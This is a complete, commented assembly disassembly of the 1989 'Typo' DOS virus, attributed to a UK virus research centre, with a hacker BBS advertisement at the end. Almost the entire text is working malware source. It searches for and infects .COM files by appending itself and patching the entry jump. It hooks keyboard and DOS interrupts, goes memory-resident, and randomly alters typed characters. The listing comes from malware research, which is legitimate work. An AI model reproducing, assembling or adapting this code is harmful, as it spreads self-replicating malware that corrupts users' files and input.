home *** CD-ROM | disk | FTP | other *** search
- page 65,132
-
- title The 'Typo' Virus
-
- ; ╔══════════════════════════════════════════════════════════════════════════╗
-
- ; ║ British Computer Virus Research Centre ║
-
- ; ║ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ║
-
- ; ║ Telephone: Domestic 0273-26105, International +44-273-26105 ║
-
- ; ║ ║
-
- ; ║ The 'Typo' Virus ║
-
- ; ║ Disassembled by Joe Hirst, October 1989 ║
-
- ; ║ ║
-
- ; ║ Copyright (c) Joe Hirst 1989. ║
-
- ; ║ ║
-
- ; ║ This listing is only to be made available to virus researchers ║
-
- ; ║ or software writers on a need-to-know basis. ║
-
- ; ╚══════════════════════════════════════════════════════════════════════════╝
-
-
-
- VECTOR SEGMENT AT 0
-
-
-
- ; Interrupt vectors
-
-
-
- ORG 58H
-
- BW0058 DW ? ; Interrupt 16H offset
-
- BW005A DW ? ; Interrupt 16H segment
-
- ORG 80H
-
- BW0080 DW ? ; Interrupt 20H offset
-
- BW0082 DW ? ; Interrupt 20H segment
-
- BW0084 DW ? ; Interrupt 21H offset
-
- BW0086 DW ? ; Interrupt 21H segment
-
-
-
- VECTOR ENDS
-
-
-
- RAM SEGMENT AT 400H
-
-
-
- ; System data
-
-
-
- ORG 6CH
-
- BW046C DW ? ; System clock
-
-
-
- RAM ENDS
-
-
-
- HOST SEGMENT AT 0
-
-
-
- ORG 2CH
-
- DW002C DW ?
-
- ORG 0D0H
-
- DW00D0 EQU THIS WORD
-
- DB00D0 DB ?
-
- ORG 100H
-
- DB0100 DB ?
-
- DW0101 DW ?
-
-
-
- HOST ENDS
-
-
-
- CODE SEGMENT BYTE PUBLIC 'CODE'
-
-
-
- ASSUME CS:CODE,DS:HOST
-
-
-
- DB 'V1' ; Signature
-
- DB 0E9H, 1, 0 ; Jump for start of host
-
- DB '*.COM', 0 ; File spec for infection
-
- DB 0CEH, 0CDH, 20H ; File start read buffer
-
- DB 'V1' ; Signature test read buffer
-
- DW 5 ; File handle
-
- DB 0CDH, 20H, 90H ; Start of host
-
- DB 0
-
- DW 5AH ; Generation count
-
- DB 0
-
-
-
- ; Entry point
-
-
-
- START: PUSH BX
-
- PUSH CX
-
- PUSH DX
-
- PUSH DS
-
- PUSH ES
-
- PUSH SI
-
- PUSH CS
-
- POP DS
-
- CALL BP0024 ; \ Get current address
-
- BP0024: POP SI ; /
-
- SUB SI,24H ; Relocate from start of virus
-
- DEC WORD PTR [SI+16H] ; Subtract from generation count
-
- CMP WORD PTR [SI+16H],3 ; Is generation count three?
-
- JNE BP0036 ; Branch if not
-
- MOV WORD PTR [SI+16H],005BH ; Reset generation count to 91
-
- BP0036: CALL BP02BE ; Test system for infection
-
- MOV DX,00D0H ; Temp default DTA
-
- MOV AH,1AH ; Set DTA function
-
- INT 21H ; DOS service
-
- MOV AL,[SI+0BH] ; \ Save start of host (1)
-
- MOV [SI+12H],AL ; /
-
- MOV AX,[SI+0CH] ; \ Save start of host (2)
-
- MOV [SI+13H],AX ; /
-
- MOV AH,2AH ; Get date function
-
- INT 21H ; DOS service
-
- TEST DL,1 ; First of month?
-
- JNZ BP0074 ; Branch if not
-
- MOV DX,SI ; \ Address '*.COM'
-
- ADD DX,5 ; /
-
- nop
-
- XOR CX,CX ; No attributes
-
- MOV AH,4EH ; Find first file function
-
- INT 21H ; DOS service
-
- JB BP0074 ; Branch if not found
-
- BP0063: CALL BP0092 ; Test for infection
-
- MOV DX,SI ; \ Address '*.COM'
-
- ADD DX,5 ; /
-
- nop
-
- XOR CX,CX ; No attributes
-
- MOV AH,4FH ; Find next file function
-
- INT 21H ; DOS service
-
- JNB BP0063 ; Branch if found
-
- BP0074: MOV AL,[SI+12H] ; \ Restore start of host (1)
-
- MOV DB0100,AL ; /
-
- MOV AX,[SI+13H] ; \ Restore start of host (2)
-
- MOV DW0101,AX ; /
-
- MOV DX,0080H ; Original default DTA
-
- MOV AH,1AH ; Set DTA function
-
- INT 21H ; DOS service
-
- POP SI
-
- POP ES
-
- POP DS
-
- POP DX
-
- POP CX
-
- POP BX
-
- MOV AX,0100H ; \ Branch to start of host
-
- JMP AX ; /
-
-
-
- ; Test for infection in COM file
-
-
-
- BP0092: MOV AX,4301H ; Set file attributes function
-
- MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA
-
- XOR CX,CX ; No attributes
-
- INT 21H ; DOS service
-
- MOV AX,3D02H ; Open handle (R/W) function
-
- MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA
-
- INT 21H ; DOS service
-
- JNB BP00A9 ; Branch if no error
-
- JMP BP015D ; Return
-
-
-
- BP00A9: MOV [SI+10H],AX ; Save file handle
-
- MOV BX,AX ; Move file handle
-
- MOV AH,3FH ; Read handle function
-
- MOV CX,3 ; Length to read
-
- MOV DX,SI ; \ Address start-of-host store
-
- ADD DX,000BH ; /
-
- nop
-
- INT 21H ; DOS service
-
- CMP BYTE PTR [SI+0BH],0E9H ; Is it a jump?
-
- JNE BP00F1 ; Branch if not
-
- MOV DX,[SI+0CH] ; \
-
- SUB DX,16H ; /
-
- XOR CX,CX ; No high offset
-
- MOV AX,4200H ; Move file pointer function
-
- MOV BX,[SI+10H] ; Get file handle
-
- INT 21H ; DOS service
-
- MOV BX,AX ; Move actual offset (? not used)
-
- MOV AH,3FH ; Read handle function
-
- MOV CX,2 ; Length to read
-
- MOV DX,SI ; \ Address signature test buffer
-
- ADD DX,000EH ; /
-
- nop
-
- MOV BX,[SI+10H] ; Get file handle
-
- INT 21H ; DOS service
-
- JB BP014A ; Branch if error
-
- CMP AX,0 ; Did we read anything?
-
- JE BP00F1 ; Branch if not
-
- MOV AX,[SI+0EH] ; Get signature test
-
- CMP AX,[SI] ; Is it signature?
-
- JE BP014A ; Branch if yes
-
- BP00F1: XOR CX,CX ; \ No offset
-
- XOR DX,DX ; /
-
- MOV AX,4202H ; Move file pointer function (EOF)
-
- MOV BX,[SI+10H] ; Get file handle
-
- INT 21H ; DOS service
-
- JB BP014A ; Branch if error
-
- SUB AX,3 ; Convert length to jump offset
-
- MOV [SI+3],AX ; Store in jump
-
- MOV BX,[SI+10H] ; Get file handle
-
- MOV AH,40H ; Write handle function
-
- MOV CX,OFFSET ENDADR ; Length of virus
-
- NOP
-
- MOV DX,SI ; \ Address start of virus
-
- ADD DX,0 ; /
-
- nop
-
- INT 21H ; DOS service
-
- JB BP014A ; Branch if error
-
- ADD WORD PTR [SI+3],19H ; Add entry point offset to jump offset
-
- XOR DX,DX ; \ No offset
-
- XOR CX,CX ; /
-
- MOV AX,4200H ; Move file pointer function
-
- MOV BX,[SI+10H] ; Get file handle
-
- INT 21H ; DOS service
-
- JB BP014A ; Branch if error
-
- MOV BX,[SI+10H] ; Get file handle
-
- MOV AH,40H ; Write handle function
-
- MOV CX,3 ; Length of jump
-
- MOV DX,SI ; \ Address initial jump
-
- ADD DX,2 ; /
-
- nop
-
- INT 21H ; DOS service
-
- MOV AX,5701H ; Set file date & time function
-
- MOV BX,[SI+10H] ; Get file handle
-
- MOV CX,DW00D0+16H ; Get file time from DTA
-
- MOV DX,DW00D0+18H ; Get file date from DTA
-
- INT 21H ; DOS service
-
- BP014A: MOV BX,[SI+10H] ; Get file handle
-
- MOV AH,3EH ; Close handle function
-
- INT 21H ; DOS service
-
- MOV AX,4301H ; Set file attributes function
-
- MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA
-
- MOV CL,DB00D0+15H ; Get attributes from DTA
-
- INT 21H ; DOS service
-
- BP015D: RET
-
-
-
- ; Interrupt 16H routine
-
-
-
- BP015E: STI
-
- CMP AH,0DDH ; Infection test function?
-
- JNE BP0167 ; Branch if not
-
- MOV AL,AH ; Copy function number
-
- IRET
-
-
-
- BP0167: CMP AH,0 ; Get key token?
-
- JE BP01D8 ; Branch if yes
-
- DB 0EAH ; Far jump
-
- DW016D DW 0488H ; Int 16H offset
-
- DW016F DW 39D8H ; Int 16H segment
-
-
-
- DW0171 DW 0FA76H
-
- DW0173 DW 0F9DCH
-
- DW0175 DW 005AH
-
-
-
- DB0177 DB 060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H
-
- DB 038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H
-
- DB 040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H
-
- DB 029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H
-
- DB 074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH
-
- DB 05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH
-
- DB 06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H
-
- DB 062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H
-
- DB 045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H
-
- DB 07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H
-
- DB 04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H
-
- DB 043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH
-
- DB 02EH
-
-
-
- BP01D8: PUSH SI
-
- CALL BP01DC ; \ Get current address
-
- BP01DC: POP SI ; /
-
- PUSHF
-
- CALL DWORD PTR CS:[SI-6FH] ; Execute original BIOS call
-
- PUSH BX
-
- PUSH ES
-
- MOV BX,0040H ; \ Address system RAM
-
- MOV ES,BX ; /
-
- ASSUME ES:RAM
-
- MOV BX,BW046C ; Get system clock, low word
-
- PUSH BX
-
- SUB BX,CS:[SI-6BH] ; DW0171
-
- CMP BX,2
-
- POP BX
-
- MOV CS:[SI-6BH],BX
-
- JG BP0236
-
- XCHG BX,CS:[SI-69H] ; DW0173
-
- SUB BX,CS:[SI-69H]
-
- NEG BX
-
- CMP BX,CS:[SI-67H] ; DW0175
-
- JL BP0236
-
- DEC WORD PTR CS:[SI-67H]
-
- CMP WORD PTR CS:[SI-67H],6
-
- JE BP021E
-
- MOV WORD PTR CS:[SI-67H],005BH
-
- BP021E: SUB SI,65H
-
- PUSH CX
-
- MOV CX,0061H
-
- BP0225: CMP AL,CS:[SI]
-
- JE BP0231
-
- INC SI
-
- LOOP BP0225
-
- POP CX
-
- JMP BP0236
-
-
-
- BP0231: POP CX
-
- MOV AL,CS:[SI+1]
-
- BP0236: POP ES
-
- POP BX
-
- POP SI
-
- RETF 2
-
-
-
- ; Interrupt 21H routine
-
-
-
- ASSUME ES:NOTHING
-
- BP023C: CMP AH,0 ; Terminate program?
-
- JE BP0246 ; Branch if yes
-
- CMP AH,4CH ; Load?
-
- JNE BP025F ; Branch if not
-
- BP0246: CALL BP026D ; Install virus in memory
-
- MOV DX,CS:DW002C ; \ Set ES to environment block
-
- MOV ES,DX ; /
-
- MOV BX,0 ; Zero length
-
- MOV AH,4AH ; Set block function
-
- INT 21H ; DOS service
-
- MOV DX,001DH ; \ Length to keep
-
- ADD DX,1 ; /
-
- MOV AH,31H ; Keep process function
-
- BP025F: DB 0EAH ; Far jump
-
- DW0260 DW 2DEAH ; Int 21H offset
-
- DW0262 DW 4242H ; Int 21H segment
-
-
-
- ; Interrupt 20H routine
-
-
-
- BP0264: MOV AX,4C00H ; Fake a load
-
- JMP BP023C ; Process as a DOS service
-
-
-
- DW0269 DW 2C08H ; Int 20H offset
-
- DW026B DW 4242H ; Int 20H segment
-
-
-
- ; Install virus in memory
-
-
-
- BP026D: PUSH CX
-
- PUSH DI
-
- PUSH SI
-
- PUSH ES
-
- CALL BP0274 ; \ Get current address
-
- BP0274: POP SI ; /
-
- PUSH SI
-
- MOV DI,0100H ; Address start of area
-
- MOV CX,OFFSET BP023C-BP015E ; Length to copy
-
- BP027C: MOV AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte
-
- MOV CS:[DI],AL ; Store in new location
-
- INC SI ; Next input position
-
- INC DI ; Next output position
-
- LOOP BP027C ; Repeat to end of area
-
- POP SI
-
- XOR CX,CX ; \ Address zero
-
- MOV ES,CX ; /
-
- ASSUME ES:VECTOR
-
- MOV CX,CS:[SI-14H] ; \ Restore Int 21H offset
-
- MOV BW0084,CX ; /
-
- MOV CX,CS:[SI-12H] ; \ Restore Int 21H segment
-
- MOV BW0086,CX ; /
-
- MOV CX,CS:[SI-0BH] ; \ Restore Int 20H offset
-
- MOV BW0080,CX ; /
-
- MOV CX,CS:[SI-9] ; \ Restore Int 20H segment
-
- MOV BW0082,CX ; /
-
- MOV CX,0100H ; \ Install moved area as Int 16H
-
- MOV BW0058,CX ; /
-
- ASSUME ES:NOTHING
-
- POP ES
-
- POP SI
-
- POP DI
-
- POP CX
-
- RET
-
-
-
- ; Test system for infection
-
-
-
- BP02BE: PUSH AX
-
- XOR AL,AL ; Clear register
-
- MOV AH,0DDH ; Infection test function
-
- INT 16H ; Keyboard I/O
-
- CMP AL,AH ; Are they the same
-
- JNE BP02CB ; Branch if not
-
- POP AX
-
- RET
-
-
-
- ; Install interrupts
-
-
-
- BP02CB: PUSH BX
-
- PUSH SI
-
- PUSH ES
-
- MOV DX,[SI+16H] ; Get generation count
-
- CALL BP02D4 ; \ Get current address
-
- BP02D4: POP SI ; /
-
- PUSH BX
-
- PUSH ES
-
- MOV BX,0040H ; \ Address system RAM
-
- MOV ES,BX ; /
-
- ASSUME ES:RAM
-
- MOV BX,BW046C ; Get system clock, low word
-
- MOV CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word
-
- MOV CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word
-
- ASSUME ES:NOTHING
-
- POP ES
-
- POP BX
-
- MOV [SI+DW0175-BP02D4],DX ; Save generation count
-
- XOR AX,AX ; \ Address zero
-
- MOV ES,AX ; /
-
- ASSUME ES:VECTOR
-
- MOV AX,BW0084 ; \ Save Int 21H offset (DW0260)
-
- MOV CS:[SI-74H],AX ;
-
- MOV AX,BW0086 ; \ Save Int 21H segment (DW0262)
-
- MOV CS:[SI-72H],AX ;
-
- MOV AX,BW0058 ; \ Save Int 16H offset (DW016D)
-
- MOV CS:[SI+0FE99H],AX ; /
-
- MOV AX,BW005A ; \ Save Int 16H segment (DW016F)
-
- MOV CS:[SI+0FE9BH],AX ; /
-
- MOV AX,BW0080 ; \ Save Int 20H offset (DW0269)
-
- MOV CS:[SI-6BH],AX ; /
-
- MOV AX,BW0082 ; \ Save Int 20H segment (DW026B)
-
- MOV CS:[SI-69H],AX ; /
-
- CLI
-
- PUSH CS ; \ Set Int 21H segment
-
- POP BW0086 ; /
-
- MOV BW0084,SI ; \ Set Int 21H offset (BP023C)
-
- SUB BW0084,0098H ; /
-
- PUSH CS ; \ Set Int 20H segment
-
- POP BW0082 ; /
-
- MOV BW0080,SI ; \ Set Int 20H offset (BP0264)
-
- SUB BW0080,70H ; /
-
- PUSH CS ; \ Set Int 16H segment
-
- POP BW005A ; /
-
- MOV BW0058,SI ; \ Set Int 16H offset (BP015E)
-
- SUB BW0058,0176H ; /
-
- STI
-
- ASSUME ES:NOTHING
-
- POP ES
-
- POP SI
-
- POP BX
-
- POP AX
-
- RET
-
-
-
- ENDADR EQU $
-
-
-
- CODE ENDS
-
-
-
- END
-
-
- ; ─────────────────────────────────────────────────────────────────────────
-
- ; ────────────────────> and Remember Don't Forget to Call <────────────────
-
- ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
-
- ; ─────────────────────────────────────────────────────────────────────────
-
-
-
-